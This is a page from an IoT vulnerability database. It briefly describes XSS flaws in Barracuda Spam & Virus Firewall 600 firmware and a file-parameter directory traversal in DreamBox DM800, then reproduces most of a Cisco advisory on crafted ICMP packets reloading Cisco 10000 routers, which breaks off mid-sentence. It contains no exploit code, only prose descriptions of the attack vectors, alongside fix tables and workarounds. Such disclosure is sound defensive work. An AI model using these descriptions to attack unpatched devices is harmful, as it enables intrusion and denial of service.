VARIoT IoT vulnerabilities database

Multiple cross-site scripting (XSS) vulnerabilities in Barracuda Spam & Virus Firewall 600 Firmware 4.0.1.009 and earlier allow remote authenticated users to inject arbitrary web script or HTML via (1) Troubleshooting in the Trace route Device module or (2) LDAP Username in the LDAP Configuration module. Barracuda Spam & Virus WAF 600 is prone to multiple unspecified HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. The vulnerability stems from improper filtering of user-supplied input before it is used to dynamically generate content

Directory traversal vulnerability in file in DreamBox DM800 1.6rc3, 1.5rc1, and earlier allows remote attackers to read arbitrary files via the file parameter. DreamBox DM800 is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input. Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks. DreamBox DM800 versions 1.5rc1 and prior are vulnerable. Dreambox is a Linux-based digital TV set-top box produced by Dream Multimedia in Germany

Unspecified vulnerability in Cisco IOS 12.2SB before 12.2(33)SB10 and 15.0S before 15.0(1)S3a on Cisco 10000 series routers allows remote attackers to cause a denial of service (device reload) via a sequence of crafted ICMP packets, aka Bug ID CSCtk62453. Successful exploits will cause an affected device to reload or hang, denying service to legitimate users. This issue is being tracked by Cisco Bug ID CSCtk62453. Cisco has released free software updates that address this vulnerability. Workarounds that mitigate this vulnerability are also available. This advisory is posted at http://www.cisco.com/warp/public/707/cisco-sa-20110928-c10k.shtml. Note: The September 28, 2011, Cisco IOS Software Security Advisory bundled publication includes ten Cisco Security Advisories. Each advisory lists the Cisco IOS Software releases that correct the vulnerability or vulnerabilities detailed in the advisory as well as the Cisco IOS Software releases that correct all vulnerabilities in the September 2011 Bundled Publication. To determine the Cisco IOS Software release that is running on a Cisco product, administrators can log in to the device and issue the "show version" command to display the system banner. The system banner confirms that the device is running Cisco IOS Software by displaying text similar to "Cisco Internetwork Operating System Software" or "Cisco IOS Software." The image name displays in parentheses, followed by "Version" and the Cisco IOS Software release name. Other Cisco devices do not have the "show version" command or may provide different output. The following example identifies a Cisco product that is running Cisco IOS Software Release 15.0(1)M1 with an installed image name of C3900-UNIVERSALK9-M: Router> show version Cisco IOS Software, C3900 Software (C3900-UNIVERSALK9-M), Version 15.0(1)M1, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2009 by Cisco Systems, Inc. Compiled Wed 02-Dec-09 17:17 by prod_rel_team !--- output truncated Additional information about Cisco IOS Software release naming conventions is available in the white paper Cisco IOS and NX-OS Software Reference Guide available at: http://www.cisco.com/web/about/security/intelligence/ios-ref.html. Products Confirmed Not Vulnerable +-------------------------------- Cisco IOS XR Software is not affected by this vulnerability. Cisco IOS XE Software is not affected by this vulnerability. No other Cisco products are currently known to be affected by this vulnerability. Traffic destined to the device or transit traffic could trigger the effects of this vulnerability. Vulnerability Scoring Details ============================= Cisco has provided scores for the vulnerability in this advisory based on the Common Vulnerability Scoring System (CVSS). The CVSS scoring in this Security Advisory is done in accordance with CVSS version 2.0. CVSS is a standards-based scoring method that conveys vulnerability severity and helps determine urgency and priority of response. Cisco has provided a base and temporal score. Customers can then compute environmental scores to assist in determining the impact of the vulnerability in individual networks. Cisco has provided an FAQ to answer additional questions regarding CVSS at: http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html Cisco has also provided a CVSS calculator to help compute the environmental impact for individual networks at: http://intellishield.cisco.com/security/alertmanager/cvss * CSCtk62453 ("Certain ICMP packets may cause device to reload") CVSS Base Score - 7.8 Access Vector - Network Access Complexity - Low Authentication - None Confidentiality Impact - None Integrity Impact - None Availability Impact - Complete CVSS Temporal Score - 6.4 Exploitability - Functional Remediation Level - Official-Fix Report Confidence - Confirmed Impact ====== Successful exploitation of this vulnerability could cause an affected device to reload. Repeated exploitation could result in a sustained DoS condition. Software Versions and Fixes =========================== When considering software upgrades, also consult http://www.cisco.com/go/psirt and any subsequent advisories to determine exposure and a complete upgrade solution. In all cases, customers should exercise caution to be certain the devices to be upgraded contain sufficient memory and that current hardware and software configurations will continue to be supported properly by the new release. If the information is not clear, contact the Cisco Technical Assistance Center (TAC) or your contracted maintenance provider for assistance. Additionally, the Cisco IOS Software Checker is available on the Cisco Security Intelligence Operations (SIO) portal at http://tools.cisco.com/security/center/selectIOSVersion.x. It provides several features for checking which Security Advisories affect specified versions of Cisco IOS Software. Cisco IOS Software +----------------- Each row of the following Cisco IOS Software table corresponds to a Cisco IOS Software train. If a particular train is vulnerable, the earliest releases that contain the fix are listed in the First Fixed Release For This Advisory column. The First Fixed Release for All Advisories in the September 2011 Bundled Publication column lists the earliest possible releases that correct all the published vulnerabilities in the Cisco IOS Software Security Advisory bundled publication. Cisco recommends upgrading to the latest available release, where possible. +------------------------------------------------------------+ | Major | Availability of Repaired Releases | | Release | | |------------+-----------------------------------------------| | Affected | | First Fixed Release for | | 12.0-Based | First Fixed | All Advisories in the | | Releases | Release | September 2011 Bundled | | | | Publication | |------------------------------------------------------------| | There are no affected 12.0 based releases | |------------------------------------------------------------| | Affected | | First Fixed Release for | | 12.1-Based | First Fixed | All Advisories in the | | Releases | Release | September 2011 Bundled | | | | Publication | |------------------------------------------------------------| | There are no affected 12.1 based releases | |------------------------------------------------------------| | Affected | | First Fixed Release for | | 12.2-Based | First Fixed | All Advisories in the | | Releases | Release | September 2011 Bundled | | | | Publication | |------------+------------------+----------------------------| | 12.2 | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.4 | |------------+------------------+----------------------------| | 12.2B | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.4 | |------------+------------------+----------------------------| | 12.2BC | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.4 | |------------+------------------+----------------------------| | 12.2BW | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2BX | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SB | |------------+------------------+----------------------------| | 12.2BY | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2BZ | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2CX | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.4 | |------------+------------------+----------------------------| | 12.2CY | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2CZ | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SB | |------------+------------------+----------------------------| | 12.2DA | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2DD | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2DX | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2EU | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | | | Releases up to and | | 12.2EW | Not vulnerable | including 12.2(20)EW4 are | | | | not vulnerable. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2EWA | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | 12.2EX | Not vulnerable | 12.2(55)EX3 | |------------+------------------+----------------------------| | 12.2EY | Not vulnerable | 12.2(58)EY | |------------+------------------+----------------------------| | 12.2EZ | Not vulnerable | Vulnerable; migrate to any | | | | release in 15.0SE | |------------+------------------+----------------------------| | 12.2FX | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SE | |------------+------------------+----------------------------| | 12.2FY | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2EX | |------------+------------------+----------------------------| | 12.2FZ | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SE | |------------+------------------+----------------------------| | 12.2IRA | Not vulnerable | Vulnerable; migrate to any | | | | release in 12.2IRG | |------------+------------------+----------------------------| | 12.2IRB | Not vulnerable | Vulnerable; migrate to any | | | | release in 12.2IRG | |------------+------------------+----------------------------| | 12.2IRC | Not vulnerable | Vulnerable; migrate to any | | | | release in 12.2IRG | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IRD | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IRE | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | 12.2IRF | Not vulnerable | Vulnerable; migrate to any | | | | release in 12.2IRG | |------------+------------------+----------------------------| | 12.2IRG | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IXA | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IXB | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IXC | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IXD | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IXE | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IXF | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IXG | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2IXH | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | 12.2JA | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2JK | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2MB | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2MC | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.4 | |------------+------------------+----------------------------| | 12.2MRA | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SRD | |------------+------------------+----------------------------| | 12.2MRB | Not vulnerable | 12.2(33)MRB5 | |------------+------------------+----------------------------| | | | 12.2(30)S are vulnerable; | | | | Releases12.2(30)S and | | 12.2S | Not vulnerable | later are not vulnerable. | | | | First fixed in Release | | | | 12.2SB | |------------+------------------+----------------------------| | | Releases prior | | | | to 12.2(31)SB18 | | | | and 12.2(33)SB9 | 12.2(31)SB20 | | 12.2SB | are not | | | | vulnerable. | 12.2(33)SB10 | | | | | | | 12.2(33)SB10 | | |------------+------------------+----------------------------| | 12.2SBC | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SB | |------------+------------------+----------------------------| | 12.2SCA | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SCC | |------------+------------------+----------------------------| | 12.2SCB | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SCC | |------------+------------------+----------------------------| | 12.2SCC | Not vulnerable | 12.2(33)SCC7 | |------------+------------------+----------------------------| | 12.2SCD | Not vulnerable | 12.2(33)SCD6 | |------------+------------------+----------------------------| | | | 12.2(33)SCE1 | | 12.2SCE | Not vulnerable | | | | | 12.2(33)SCE2 | |------------+------------------+----------------------------| | 12.2SCF | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | | | 12.2(55)SE3 | | 12.2SE | Not vulnerable | | | | | 12.2(58)SE | |------------+------------------+----------------------------| | 12.2SEA | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SE | |------------+------------------+----------------------------| | 12.2SEB | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SE | |------------+------------------+----------------------------| | 12.2SEC | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SE | |------------+------------------+----------------------------| | 12.2SED | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SE | |------------+------------------+----------------------------| | 12.2SEE | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SE | |------------+------------------+----------------------------| | 12.2SEF | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SE | |------------+------------------+----------------------------| | | | Releases prior to 12.2(25) | | | | SEG4 are vulnerable; | | 12.2SEG | Not vulnerable | Releases12.2(25)SEG4 and | | | | later are not vulnerable. | | | | First fixed in Release | | | | 12.2EX | |------------+------------------+----------------------------| | | | Releases prior to 12.2(53) | | 12.2SG | Not vulnerable | SG4 are vulnerable; | | | | Releases 12.2(53)SG4 and | | | | later are not vulnerable. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2SGA | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | 12.2SL | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2SM | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | 12.2SO | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2SQ | Not vulnerable | 12.2(50)SQ3 | |------------+------------------+----------------------------| | 12.2SRA | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SRD | |------------+------------------+----------------------------| | 12.2SRB | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SRD | |------------+------------------+----------------------------| | 12.2SRC | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SRD | |------------+------------------+----------------------------| | 12.2SRD | Not vulnerable | 12.2(33)SRD6 | |------------+------------------+----------------------------| | 12.2SRE | Not vulnerable | 12.2(33)SRE4 | |------------+------------------+----------------------------| | 12.2STE | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2SU | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.4 | |------------+------------------+----------------------------| | | | Releases prior to 12.2 | | | | (29a)SV are vulnerable; | | 12.2SV | Not vulnerable | Releases 12.2(29a)SV and | | | | later are not vulnerable. | | | | Migrate to any release in | | | | 12.2SVD | |------------+------------------+----------------------------| | 12.2SVA | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2SVC | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2SVD | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2SVE | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2SW | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | 12.2SX | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SXF | |------------+------------------+----------------------------| | 12.2SXA | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SXF | |------------+------------------+----------------------------| | 12.2SXB | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SXF | |------------+------------------+----------------------------| | 12.2SXD | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SXF | |------------+------------------+----------------------------| | 12.2SXE | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SXF | |------------+------------------+----------------------------| | 12.2SXF | Not vulnerable | 12.2(18)SXF17b | |------------+------------------+----------------------------| | 12.2SXH | Not vulnerable | 12.2(33)SXH8a | |------------+------------------+----------------------------| | 12.2SXI | Not vulnerable | 12.2(33)SXI6 | |------------+------------------+----------------------------| | 12.2SXJ | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2SY | Not vulnerable | 12.2(50)SY | |------------+------------------+----------------------------| | 12.2SZ | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SB | |------------+------------------+----------------------------| | 12.2T | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.4 | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2TPC | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | 12.2XA | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2XB | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.4 | |------------+------------------+----------------------------| | 12.2XC | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2XD | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2XE | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2XF | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2XG | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2XH | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2XI | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2XJ | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2XK | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2XL | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2XM | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2XN | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | | Please see Cisco | Please see Cisco IOS-XE | | 12.2XNA | IOS-XE Software | Software Availability | | | Availability | | |------------+------------------+----------------------------| | | Please see Cisco | Please see Cisco IOS-XE | | 12.2XNB | IOS-XE Software | Software Availability | | | Availability | | |------------+------------------+----------------------------| | | Please see Cisco | Please see Cisco IOS-XE | | 12.2XNC | IOS-XE Software | Software Availability | | | Availability | | |------------+------------------+----------------------------| | | Please see Cisco | Please see Cisco IOS-XE | | 12.2XND | IOS-XE Software | Software Availability | | | Availability | | |------------+------------------+----------------------------| | | Please see Cisco | Please see Cisco IOS-XE | | 12.2XNE | IOS-XE Software | Software Availability | | | Availability | | |------------+------------------+----------------------------| | | Please see Cisco | Please see Cisco IOS-XE | | 12.2XNF | IOS-XE Software | Software Availability | | | Availability | | |------------+------------------+----------------------------| | | | Releases prior to 12.2(54) | | 12.2XO | Not vulnerable | XO are vulnerable; | | | | Releases12.2(54)XO and | | | | later are not vulnerable. | |------------+------------------+----------------------------| | 12.2XQ | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2XR | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2XS | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2XT | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2XU | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2XV | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2XW | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2YA | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.4 | |------------+------------------+----------------------------| | 12.2YB | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2YC | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2YD | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2YE | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YF | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YG | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YH | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YJ | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | 12.2YK | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YL | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | 12.2YM | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.4 | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YN | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | 12.2YO | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2YP | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YQ | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YR | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YS | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YT | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YU | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YV | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YW | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YX | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YY | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YZ | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | 12.2ZA | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SXF | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2ZB | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | 12.2ZC | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2ZD | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2ZE | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.4 | |------------+------------------+----------------------------| | 12.2ZF | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.4 | |------------+------------------+----------------------------| | 12.2ZG | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2ZH | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.4 | |------------+------------------+----------------------------| | 12.2ZJ | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2ZL | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | 12.2ZP | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 12.2ZU | Not vulnerable | Vulnerable; First fixed in | | | | Release 12.2SXH | |------------+------------------+----------------------------| | 12.2ZX | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2ZY | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2ZYA | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | Affected | | First Fixed Release for | | 12.3-Based | First Fixed | All Advisories in the | | Releases | Release | September 2011 Bundled | | | | Publication | |------------------------------------------------------------| | There are no affected 12.3 based releases | |------------------------------------------------------------| | Affected | | First Fixed Release for | | 12.4-Based | First Fixed | All Advisories in the | | Releases | Release | September 2011 Bundled | | | | Publication | |------------------------------------------------------------| | There are no affected 12.4 based releases | |------------------------------------------------------------| | Affected | First Fixed | | | 15.0-Based | Release | Bundle First Fixed Release | | Releases | | | |------------+------------------+----------------------------| | 15.0M | Not vulnerable | 15.0(1)M7 | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 15.0MR | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 15.0MRA | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | 15.0S | 15.0(1)S3a | 15.0(1)S4 | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 15.0SA | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | 15.0SE | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 15.0SG | Not vulnerable | Not vulnerable | |------------+------------------+----------------------------| | 15.0XA | Not vulnerable | Vulnerable; First fixed in | | | | Release 15.1T | |------------+------------------+----------------------------| | | | Releases prior to 15.0(2) | | 15.0XO | Not vulnerable | XO1 are vulnerable; | | | | Releases15.0(2)XO1 and | | | | later are not vulnerable. | |------------+------------------+----------------------------| | Affected | | First Fixed Release for | | 15.1-Based | First Fixed | All Advisories in the | | Releases | Release | September 2011 Bundled | | | | Publication | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 15.1EY | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | 15.1GC | Not vulnerable | Vulnerable; First fixed in | | | | Release 15.1T | |------------+------------------+----------------------------| | 15.1M | Not vulnerable | 15.1(4)M2; Available on | | | | 30-SEP-11 | |------------+------------------+----------------------------| | | | Vulnerable; contact your | | | | support organization per | | 15.1MR | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this advisory. | |------------+------------------+----------------------------| | | | 15.1(2)S2 | | 15.1S | Not vulnerable | | | | | 15.1(3)S | |------------+------------------+----------------------------| | | | 15.1(2)T4 | | 15.1T | Not vulnerable | | | | | 15.1(1)T4 on 8-Dec-2011 | |------------+------------------+----------------------------| | 15.1XB | Not vulnerable | Vulnerable; First fixed in | | | | Release 15.1T | |------------+------------------+----------------------------| | Affected | | First Fixed Release for | | 15.2-Based | First Fixed | All Advisories in the | | Releases | Release | September 2011 Bundled | | | | Publication | |------------------------------------------------------------| | There are no affected 15.2 based releases | +------------------------------------------------------------+ Cisco IOS XE Software +-------------------- Cisco IOS XE Software is not affected by the vulnerability disclosed in this advisory. Cisco IOS XR Software +-------------------- Cisco IOS XR Software is not affected by the vulnerability disclosed in this advisory. Cisco IOS XR Software is not affected by the vulnerabilities disclosed in the September 28, 2011, Cisco IOS Software Security Advisory bundled publication. Workarounds =========== Traffic destined to the device or transit traffic could trigger the effects of this vulnerability. Subsequently, the only workaround available is to block ICMP packets destined to the affected device and all ICMP transit traffic. Obtaining Fixed Software ======================== Cisco has released free software updates that address this vulnerability. Prior to deploying software, customers should consult their maintenance provider or check the software for feature set compatibility and known issues specific to their environment. Customers may only install and expect support for the feature sets they have purchased. By installing, downloading, accessing or otherwise using such software upgrades, customers agree to be bound by the terms of Cisco's software license terms found at http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html, or as otherwise set forth at Cisco.com Downloads at http://www.cisco.com/public/sw-center/sw-usingswc.shtml. Do not contact psirt@cisco.com or security-alert@cisco.com for software upgrades. Customers with Service Contracts +------------------------------- Customers with contracts should obtain upgraded software through their regular update channels. For most customers, this means that upgrades should be obtained through the Software Center on Cisco's worldwide website at http://www.cisco.com. Customers using Third Party Support Organizations +------------------------------------------------ Customers whose Cisco products are provided or maintained through prior or existing agreements with third-party support organizations, such as Cisco Partners, authorized resellers, or service providers should contact that support organization for guidance and assistance with the appropriate course of action in regards to this advisory. The effectiveness of any workaround or fix is dependent on specific customer situations, such as product mix, network topology, traffic behavior, and organizational mission. Due to the variety of affected products and releases, customers should consult with their service provider or support organization to ensure any applied workaround or fix is the most appropriate for use in the intended network before it is deployed. Customers without Service Contracts +---------------------------------- Customers who purchase direct from Cisco but do not hold a Cisco service contract, and customers who purchase through third-party vendors but are unsuccessful in obtaining fixed software through their point of sale should acquire upgrades by contacting the Cisco Technical Assistance Center (TAC). TAC contacts are as follows. * +1 800 553 2447 (toll free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: tac@cisco.com Customers should have their product serial number available and be prepared to give the URL of this notice as evidence of entitlement to a free upgrade. Free upgrades for non-contract customers must be requested through the TAC. Refer to http://www.cisco.com/en/US/support/tsd_cisco_worldwide_contacts.html for additional TAC contact information, including localized telephone numbers, and instructions and e-mail addresses for use in various languages. Exploitation and Public Announcements ===================================== The Cisco PSIRT is not aware of any public announcements or malicious use of the vulnerability described in this advisory. This vulnerability was discovered while troubleshooting a customer service request. Status of this Notice: FINAL ============================ THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS DOCUMENT AT ANY TIME. A stand-alone copy or Paraphrase of the text of this document that omits the distribution 